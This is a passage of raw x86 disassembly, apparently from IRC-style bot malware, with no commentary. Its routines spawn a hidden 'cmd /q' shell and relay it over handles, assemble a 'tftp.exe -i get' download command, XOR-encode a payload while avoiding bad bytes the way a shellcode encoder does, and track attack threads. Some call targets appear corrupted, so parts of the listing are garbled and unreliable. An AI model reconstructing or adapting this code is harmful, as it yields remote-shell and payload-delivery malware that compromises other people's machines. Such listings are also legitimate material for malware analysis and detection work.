var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_416717 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_4407FC[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, dword_4240A0 pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_4168E9 lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+10h], eax jnz short loc_416631 nop call near ptr 2650B3Dh push eax push offset dword_433914 call sub_40BFE1 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_41666B ; --------------------------------------------------------------------------- loc_416631: ; CODE XREF: sub_4165C6+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_41699B lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+14h], eax jnz short loc_416672 call near ptr 2650B3Dh nop push eax push offset dword_433914 call sub_40BFE1 pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] nop call near ptr 27D08F1h loc_41666B: ; CODE XREF: sub_4165C6+69j xor eax, eax jmp loc_416712 ; --------------------------------------------------------------------------- loc_416672: ; CODE XREF: sub_4165C6+82j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 call near ptr 27E0957h nop sub eax, ebx jz short loc_4166CC dec eax jz short loc_4166C6 dec eax jz short loc_4166B2 nop call near ptr 2650B3Dh push eax push offset dword_4338D0 call sub_40BFE1 pop ecx pop ecx jmp short loc_4166E1 ; --------------------------------------------------------------------------- loc_4166B2: ; CODE XREF: sub_4165C6+D5j mov edi, dword_424168 push ebx push dword ptr [esi+14h] call edi push ebx push dword ptr [esi+10h] call edi jmp short loc_4166E1 ; --------------------------------------------------------------------------- loc_4166C6: ; CODE XREF: sub_4165C6+D2j push ebx push dword ptr [esi+10h] jmp short loc_4166D0 ; --------------------------------------------------------------------------- loc_4166CC: ; CODE XREF: sub_4165C6+CFj push ebx push dword ptr [esi+14h] loc_4166D0: ; CODE XREF: sub_4165C6+104j nop call near ptr 27D08F1h push 1 push dword ptr [esi+8] nop call near ptr 27D0A9Dh loc_4166E1: ; CODE XREF: sub_4165C6+EAj ; sub_4165C6+FEj push dword ptr [esi+10h] mov edi, dword_424078 call edi push dword ptr [esi+14h] call edi push dword ptr [esi+8] call edi push dword ptr [esi] call edi push dword ptr [esi+4] call edi push dword ptr [esi+0Ch] call dword_43AE30 push esi call sub_417C3B pop ecx push 1 pop eax loc_416712: ; CODE XREF: sub_4165C6+A7j pop edi pop esi pop ebx leave retn sub_4165C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416717 proc near ; CODE XREF: sub_4165C6+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_417B89 mov esi, eax pop ecx cmp esi, edi jz loc_416801 mov ebx, dword_424140 lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx mov edi, dword_424078 test eax, eax jnz short loc_41677A nop call near ptr 2650B3Dh push eax push offset dword_4339F4 jmp short loc_41679A ; --------------------------------------------------------------------------- loc_41677A: ; CODE XREF: sub_416717+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx test eax, eax jnz short loc_4167A2 call near ptr 2650B3Dh nop push eax push offset dword_4339A4 loc_41679A: ; CODE XREF: sub_416717+61j call sub_40BFE1 pop ecx jmp short loc_4167D0 ; --------------------------------------------------------------------------- loc_4167A2: ; CODE XREF: sub_416717+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_416810 add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi push [ebp+var_8] call edi cmp dword ptr [esi+8], 0 jnz short loc_416805 push offset dword_43396C call sub_40BF6D loc_4167D0: ; CODE XREF: sub_416717+89j cmp [ebp+var_4], 0 pop ecx jz short loc_4167DC push [ebp+var_4] call edi loc_4167DC: ; CODE XREF: sub_416717+BEj cmp [ebp+var_8], 0 jz short loc_4167E7 push [ebp+var_8] call edi loc_4167E7: ; CODE XREF: sub_416717+C9j mov eax, [esi] test eax, eax jz short loc_4167F0 push eax call edi loc_4167F0: ; CODE XREF: sub_416717+D4j mov eax, [esi+4] test eax, eax jz short loc_4167FA push eax call edi loc_4167FA: ; CODE XREF: sub_416717+DEj push esi call sub_417C3B pop ecx loc_416801: ; CODE XREF: sub_416717+1Dj xor eax, eax jmp short loc_41680B ; --------------------------------------------------------------------------- loc_416805: ; CODE XREF: sub_416717+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_41680B: ; CODE XREF: sub_416717+ECj pop edi pop esi pop ebx leave retn sub_416717 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416810 proc near ; CODE XREF: sub_416717+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_417330 push 10h lea eax, [ebp+var_14] push esi push eax call sub_417330 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, dword_42413C push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi push eax push ebx call edi push eax call near ptr 27806D5h nop lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi nop call near ptr 27505A0h test eax, eax jz short loc_4168CC mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_4407F8[eax], ecx nop call near ptr 2631A0Bh jmp short loc_4168E2 ; --------------------------------------------------------------------------- loc_4168CC: ; CODE XREF: sub_416810+9Aj nop call near ptr 2650B3Dh push eax push offset dword_433A44 call sub_40BFE1 mov esi, [ebp+var_4] pop ecx pop ecx loc_4168E2: ; CODE XREF: sub_416810+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_416810 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4168E9 proc near ; DATA XREF: sub_4165C6+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, dword_424074 push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_416912: ; CODE XREF: sub_4168E9+8Fj call ebx test eax, eax jz short loc_41697A xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_41694D loc_416923: ; CODE XREF: sub_4168E9+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_41693D cmp dl, 0Dh jz short loc_41693D mov [ebp+eax+var_1B0], 0Dh inc eax loc_41693D: ; CODE XREF: sub_4168E9+44j ; sub_4168E9+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_416923 loc_41694D: ; CODE XREF: sub_4168E9+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_43ADE8 test eax, eax jle short loc_41697A lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short loc_416912 ; --------------------------------------------------------------------------- loc_41697A: ; CODE XREF: sub_4168E9+2Dj ; sub_4168E9+79j mov esi, dword_42408C call esi cmp eax, 6Dh jz short loc_416996 call esi push eax push offset dword_433A90 call sub_40BFE1 pop ecx pop ecx loc_416996: ; CODE XREF: sub_4168E9+9Cj pop edi pop esi pop ebx leave retn sub_4168E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41699B proc near ; DATA XREF: sub_4165C6+71o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx loc_4169B4: ; CODE XREF: sub_41699B+39j ; sub_41699B+D7j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_43ADB0 test eax, eax jle loc_416AB9 cmp [ebp+var_10], ebx jbe short loc_4169D6 dec [ebp+var_10] jmp short loc_4169B4 ; --------------------------------------------------------------------------- loc_4169D6: ; CODE XREF: sub_41699B+34j mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_416A99 cmp al, 8 mov [ebp+var_C], ebx jz short loc_416A46 cmp al, 7Fh jz short loc_416A46 cmp al, 3 jnz short loc_416A01 push ebx push ebx nop call near ptr 27E0A0Ch jmp short loc_416A6D ; --------------------------------------------------------------------------- loc_416A01: ; CODE XREF: sub_41699B+5Aj cmp al, 15h jnz short loc_416A23 xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_416A59 ; --------------------------------------------------------------------------- loc_416A23: ; CODE XREF: sub_41699B+68j mov [ebp+esi+var_DC], al inc esi push 1 cmp al, 0Dh mov [ebp+var_8], al pop ecx jnz short loc_416A5A mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_416A59 ; --------------------------------------------------------------------------- loc_416A46: ; CODE XREF: sub_41699B+52j ; sub_41699B+56j cmp esi, ebx jbe short loc_416A70 dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_416A59: ; CODE XREF: sub_41699B+86j ; sub_41699B+A9j pop ecx loc_416A5A: ; CODE XREF: sub_41699B+98j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_43ADE8 test eax, eax jle short loc_416AB9 loc_416A6D: ; CODE XREF: sub_41699B+64j mov al, byte ptr [ebp+arg_0+3] loc_416A70: ; CODE XREF: sub_41699B+ADj cmp al, 0Dh jnz loc_4169B4 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] call near ptr 2640000h nop test eax, eax jz short loc_416AB9 xor esi, esi jmp loc_4169B4 ; --------------------------------------------------------------------------- loc_416A99: ; CODE XREF: sub_41699B+47j cmp [ebp+var_C], ebx jnz short loc_416AAA mov [ebp+var_C], 1 jmp loc_4169B4 ; --------------------------------------------------------------------------- loc_416AAA: ; CODE XREF: sub_41699B+101j mov [ebp+var_10], 0Ah mov [ebp+var_C], ebx jmp loc_4169B4 ; --------------------------------------------------------------------------- loc_416AB9: ; CODE XREF: sub_41699B+2Bj ; sub_41699B+D0j ... pop edi pop esi pop ebx leave retn sub_41699B endp ; =============== S U B R O U T I N E ======================================= sub_416ABE proc near ; CODE XREF: sub_416ADE+Ap ; sub_416BB6+8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_417AB0 push [esp+8+arg_4] mov esi, eax call sub_417AB0 pop ecx lea eax, [esi+eax*2+0C1h] pop ecx pop esi retn sub_416ABE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416ADE proc near ; CODE XREF: sub_416BCD+49p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push [ebp+arg_C] push [ebp+arg_8] call sub_416ABE cmp eax, [ebp+arg_4] pop ecx pop ecx mov [ebp+var_4], eax jbe short loc_416AFB xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_416AFB: ; CODE XREF: sub_416ADE+17j push ebx push esi push edi push [ebp+arg_8] call sub_417AB0 push [ebp+arg_C] mov esi, eax call sub_417AB0 mov edi, eax mov ebx, [ebp+arg_0] push 0FFFFFFEDh lea eax, [edi+esi+12h] mov dword_433B70, eax lea eax, [edi+1] mov dword_433B91, eax lea eax, [edi+17h] mov dword_433B89, eax pop eax push 74h sub eax, edi push offset dword_433B0C push ebx mov dword_433B9F, eax call sub_417390 push esi lea eax, [ebx+74h] push [ebp+arg_8] push eax call sub_417390 add esi, 74h push 5 push (offset aTftp_exeIGet+0Ch) lea eax, [esi+ebx] push eax call sub_417390 add esi, 5 push edi push [ebp+arg_C] lea eax, [esi+ebx] push eax call sub_417390 add esi, edi push 10h push (offset aTftp_exeIGet+11h) lea eax, [esi+ebx] push eax call sub_417390 add esp, 44h add esi, 10h push edi lea eax, [esi+ebx] push [ebp+arg_C] push eax call sub_417390 add esi, edi push 38h add esi, ebx push offset byte_433B95 push esi call sub_417390 mov eax, [ebp+var_4] add esp, 18h pop edi pop esi pop ebx leave retn sub_416ADE endp ; =============== S U B R O U T I N E ======================================= sub_416BB6 proc near ; CODE XREF: sub_416BCD+Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_416ABE push eax call sub_416C3A add esp, 0Ch retn sub_416BB6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416BCD proc near ; CODE XREF: sub_402B84+32p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_8] push edi mov edi, [ebp+arg_C] push edi push ebx call sub_416BB6 cmp eax, [ebp+arg_4] pop ecx pop ecx ja short loc_416BED cmp eax, 0FFFFh jbe short loc_416BF1 loc_416BED: ; CODE XREF: sub_416BCD+17j xor eax, eax jmp short loc_416C36 ; --------------------------------------------------------------------------- loc_416BF1: ; CODE XREF: sub_416BCD+1Ej push esi push edi push ebx call sub_416ABE add eax, 101h push eax call sub_417B89 add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_416ABE pop ecx pop ecx push eax push esi call sub_416ADE push eax push esi push [ebp+arg_4] push [ebp+arg_0] call sub_416C55 push esi mov edi, eax call sub_417C3B add esp, 24h mov eax, edi pop esi loc_416C36: ; CODE XREF: sub_416BCD+22j pop edi pop ebx pop ebp retn sub_416BCD endp ; =============== S U B R O U T I N E ======================================= sub_416C3A proc near ; CODE XREF: sub_416BB6+Ep ; sub_416C55+4Ap arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_416C43 inc ecx loc_416C43: ; CODE XREF: sub_416C3A+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_416C3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416C55 proc near ; CODE XREF: sub_416BCD+56p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_C], 0Ah jz short loc_416C71 cmp byte ptr [ebp+arg_C], 0Dh jz short loc_416C71 cmp byte ptr [ebp+arg_C], 5Ch jz short loc_416C71 cmp byte ptr [ebp+arg_C], 0 jnz short loc_416C74 loc_416C71: ; CODE XREF: sub_416C55+8j ; sub_416C55+Ej ... inc [ebp+arg_C] loc_416C74: ; CODE XREF: sub_416C55+1Aj push esi mov esi, 0FFh cmp [ebp+arg_C], esi jbe short loc_416C9C mov eax, [ebp+arg_C] shr eax, 8 cmp al, 0Ah jz short loc_416C95 cmp al, 0Dh jz short loc_416C95 cmp al, 5Ch jz short loc_416C95 test al, al jnz short loc_416C9C loc_416C95: ; CODE XREF: sub_416C55+32j ; sub_416C55+36j ... add [ebp+arg_C], 100h loc_416C9C: ; CODE XREF: sub_416C55+28j ; sub_416C55+3Ej push [ebp+arg_C] call sub_416C3A cmp eax, [ebp+arg_4] pop ecx mov [ebp+var_4], eax ja short loc_416CB4 cmp eax, 0FFFFh jbe short loc_416CBB loc_416CB4: ; CODE XREF: sub_416C55+56j xor eax, eax jmp loc_416D59 ; --------------------------------------------------------------------------- loc_416CBB: ; CODE XREF: sub_416C55+5Dj mov ecx, [ebp+arg_C] push ebx mov bl, byte_4CD988 xor edx, edx push edi mov edi, [ebp+arg_8] test ecx, ecx jbe short loc_416CEB loc_416CCF: ; CODE XREF: sub_416C55+94j mov al, [edx+edi] xor al, bl jz short loc_416CE2 cmp al, 0Ah jz short loc_416CE2 cmp al, 0Dh jz short loc_416CE2 cmp al, 5Ch jnz short loc_416CE6 loc_416CE2: ; CODE XREF: sub_416C55+7Fj ; sub_416C55+83j ... inc bl xor edx, edx loc_416CE6: ; CODE XREF: sub_416C55+8Bj inc edx cmp edx, ecx jb short loc_416CCF loc_416CEB: ; CODE XREF: sub_416C55+78j cmp ecx, esi mov byte_4CD988, bl ja short loc_416D17 push 15h push offset loc_433AF4 push [ebp+arg_0] mov byte_433B01, cl mov byte_433B05, bl call sub_417390 add esp, 0Ch push 15h jmp short loc_416D38 ; --------------------------------------------------------------------------- loc_416D17: ; CODE XREF: sub_416C55+9Ej push 17h push offset loc_433ADC push [ebp+arg_0] mov word_433AEA, cx mov byte_433AEF, bl call sub_417390 add esp, 0Ch push 17h loc_416D38: ; CODE XREF: sub_416C55+C0j xor eax, eax pop ecx cmp [ebp+arg_C], eax jbe short loc_416D54 mov edx, [ebp+arg_0] lea esi, [ecx+edx] loc_416D46: ; CODE XREF: sub_416C55+FDj mov cl, [eax+edi] xor cl, bl mov [esi+eax], cl inc eax cmp eax, [ebp+arg_C] jb short loc_416D46 loc_416D54: ; CODE XREF: sub_416C55+E9j mov eax, [ebp+var_4] pop edi pop ebx loc_416D59: ; CODE XREF: sub_416C55+61j pop esi leave retn sub_416C55 endp ; =============== S U B R O U T I N E ======================================= sub_416D5C proc near ; CODE XREF: sub_4060D0+227p ; sub_407252+F0p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_4405F0 loc_416D64: ; CODE XREF: sub_416D5C+18j cmp byte ptr [eax], 0 jz short loc_416D78 add eax, 234h inc edi cmp eax, offset dword_4CD5F0 jl short loc_416D64 jmp short loc_416DC3 ; --------------------------------------------------------------------------- loc_416D78: ; CODE XREF: sub_416D5C+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_4405F0[esi] push eax call sub_418C10 mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_4407F0[esi], eax and dword_4407F4[esi], 0 mov eax, [esp+8+arg_8] and dword_4407F8[esi], 0 mov dword_4407FC[esi], eax and byte_440808[esi], 0 pop esi loc_416DC3: ; CODE XREF: sub_416D5C+1Aj mov eax, edi pop edi retn sub_416D5C endp ; --------------------------------------------------------------------------- byte_416DC7 db 55h ; DATA XREF: sub_40EE72+5C01o dd 0EC81EC8Bh, 98h, 5608458Bh, 59266A57h, 0BD8DF08Bh, 0FFFFFF68h dd 75FFA5F3h, 9480C7F0h, 1000000h, 8D000000h, 0FFFF6C85h dd 0F475FFFFh, 68B5FF50h, 0E8FFFFFFh, 15h, 0E8EC75FFh dd 26Ch, 6A14C483h, 9540E800h, 5F90021Fh, 0EC8B555Eh, 200EC81h dd 57560000h, 75FF006Ah, 3BD06810h, 75FF0043h, 875FF0Ch dd 0FF6840E8h, 14C483FFh, 0F0BEFF33h, 80004405h, 3C74003Eh dd 147D83h, 0BE830975h, 204h, 562D7500h, 858D57h, 68FFFFFEh dd 432550h, 446E850h, 16A0000h, 0FE00858Dh, 75FFFFFFh dd 75FF5010h, 875FF0Ch, 0FF67F8E8h, 24C483FFh, 234C681h dd 81470000h, 4CD5F0FEh, 5FB07C00h ; --------------------------------------------------------------------------- pop esi leave retn ; =============== S U B R O U T I N E ======================================= sub_416E97 proc near ; CODE XREF: sub_40EE72+4DD9p ; sub_416F25+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_416F1F cmp esi, 400h jge short loc_416F1F imul esi, 234h push edi push ebx push dword_440804[esi] lea edi, dword_440804[esi] call near ptr 27D08F1h nop cmp [edi], ebx jz short loc_416ECF push 1 pop ebp loc_416ECF: ; CODE XREF: sub_416E97+33j mov [edi], ebx lea edi, dword_4407F8[esi] mov dword_4407F0[esi], ebx mov dword_4407F4[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_416EF0 push eax call sub_415419 pop ecx loc_416EF0: ; CODE XREF: sub_416E97+50j mov [edi], ebx lea edi, dword_4407FC[esi] mov byte ptr dword_4405F0[esi], bl mov byte_440808[esi], bl push dword ptr [edi] call dword_43AE30 lea esi, dword_440800[esi] mov [edi], ebx push dword ptr [esi] call dword_43AE30 mov [esi], ebx pop edi loc_416F1F: ; CODE XREF: sub_416E97+Dj ; sub_416E97+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_416E97 endp ; =============== S U B R O U T I N E ======================================= sub_416F25 proc near ; CODE XREF: sub_40AC42:loc_40AC66p ; sub_40D3A5+18p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_4405F0 loc_416F31: ; CODE XREF: sub_416F25+2Aj cmp byte ptr [esi], 0 jz short loc_416F42 push edi call sub_416E97 test eax, eax pop ecx jz short loc_416F42 inc ebx loc_416F42: ; CODE XREF: sub_416F25+Fj ; sub_416F25+1Aj add esi, 234h inc edi cmp esi, offset dword_4CD5F0 jl short loc_416F31 pop edi mov eax, ebx pop esi pop ebx retn sub_416F25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F57 proc near ; CODE XREF: sub_40EE72+1E3Dp ; sub_40EE72+1EABp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_4407F4 loc_416F6B: ; CODE XREF: sub_416F57+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_416F8D test edi, edi jle short loc_416F7F cmp [esi], edi jz short loc_416F7F cmp ebx, edi jnz short loc_416F8D loc_416F7F: ; CODE XREF: sub_416F57+1Ej ; sub_416F57+22j push ebx call sub_416E97 test eax, eax pop ecx jz short loc_416F8D inc [ebp+var_4] loc_416F8D: ; CODE XREF: sub_416F57+1Aj ; sub_416F57+26j ... add esi, 234h inc ebx cmp esi, offset dword_4CD7F4 jl short loc_416F6B mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_416F57 endp ; =============== S U B R O U T I N E ======================================= sub_416FA4 proc near ; CODE XREF: sub_4071DB+Bp ; sub_407252+2Dp ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_4407F0 loc_416FAB: ; CODE XREF: sub_416FA4+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_416FB4 inc eax loc_416FB4: ; CODE XREF: sub_416FA4+Dj add ecx, 234h cmp ecx, offset dword_4CD7F0 jl short loc_416FAB retn sub_416FA4 endp ; =============== S U B R O U T I N E ======================================= sub_416FC3 proc near ; CODE XREF: sub_40EE72+5698p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_4407F0 loc_416FCD: ; CODE XREF: sub_416FC3+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_416FE6 add ecx, 234h inc edx cmp ecx, offset dword_4CD7F0 jl short loc_416FCD pop esi retn ; --------------------------------------------------------------------------- loc_416FE6: ; CODE XREF: sub_416FC3+10j mov eax, edx pop esi retn sub_416FC3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416FEA proc near ; CODE XREF: sub_40EE72+1070p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_417003 push [ebp+arg_1C] call sub_41781F pop ecx loc_417003: ; CODE XREF: sub_416FEA+Ej push eax push [ebp+arg_18] call sub_416F57 pop ecx test eax, eax pop ecx jle short loc_41702F push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s) stopped.)"... push eax call sub_4172B0 add esp, 14h jmp short loc_417049 ; --------------------------------------------------------------------------- loc_41702F: ; CODE XREF: sub_416FEA+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s: No %s thread found." push eax call sub_4172B0 add esp, 10h loc_417049: ; CODE XREF: sub_416FEA+43j cmp [ebp+arg_C], 0 jnz short loc_417069 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_417069: ; CODE XREF: sub_416FEA+63j lea eax, [ebp+var_200] push eax call sub_40BF6D pop ecx leave retn sub_416FEA endp ; =============== S U B R O U T I N E ======================================= sub_417078 proc near ; CODE XREF: sub_401000+A5p ; sub_40144A+8Dp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_440804[eax], ecx mov dword_4407F0[eax], ecx mov dword_4407F4[eax], ecx mov dword_4407F8[eax], ecx mov dword_4407FC[eax], ecx mov dword_440800[eax], ecx mov byte ptr dword_4405F0[eax], cl mov byte_440808[eax], cl retn sub_417078 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4170B5 proc near ; CODE XREF: sub_40EE72+6189p ; sub_4171E3+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_4170BF: ; CODE XREF: sub_4170B5+68j mov cl, [esi] test cl, cl jz short loc_41711F cmp eax, 1 jnz short loc_41711F mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_41711F cmp cl, 2Ah jz short loc_417106 cmp cl, 3Fh jz short loc_4170E9 cmp cl, 5Bh jz short loc_4170EE xor eax, eax cmp cl, dl setz al loc_4170E9: ; CODE XREF: sub_4170B5+26j inc [ebp+arg_4] jmp short loc_417119 ; --------------------------------------------------------------------------- loc_4170EE: ; CODE XREF: sub_4170B5+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_41714B mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_417119 ; --------------------------------------------------------------------------- loc_417106: ; CODE XREF: sub_4170B5+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_4171E3 mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_417119: ; CODE XREF: sub_4170B5+37j ; sub_4170B5+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_4170BF ; --------------------------------------------------------------------------- loc_41711F: ; CODE XREF: sub_4170B5+Ej ; sub_4170B5+13j ... cmp byte ptr [esi], 2Ah jnz short loc_41712F cmp eax, 1 jnz short loc_417146 inc esi mov [ebp+arg_0], esi jmp short loc_41711F ; --------------------------------------------------------------------------- loc_41712F: ; CODE XREF: sub_4170B5+6Dj cmp eax, 1 jnz short loc_417146 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_417146 cmp byte ptr [esi], 0 jnz short loc_417146 push 1 pop eax jmp short loc_417148 ; --------------------------------------------------------------------------- loc_417146: ; CODE XREF: sub_4170B5+72j ; sub_4170B5+7Dj ... xor eax, eax loc_417148: ; CODE XREF: sub_4170B5+8Fj pop 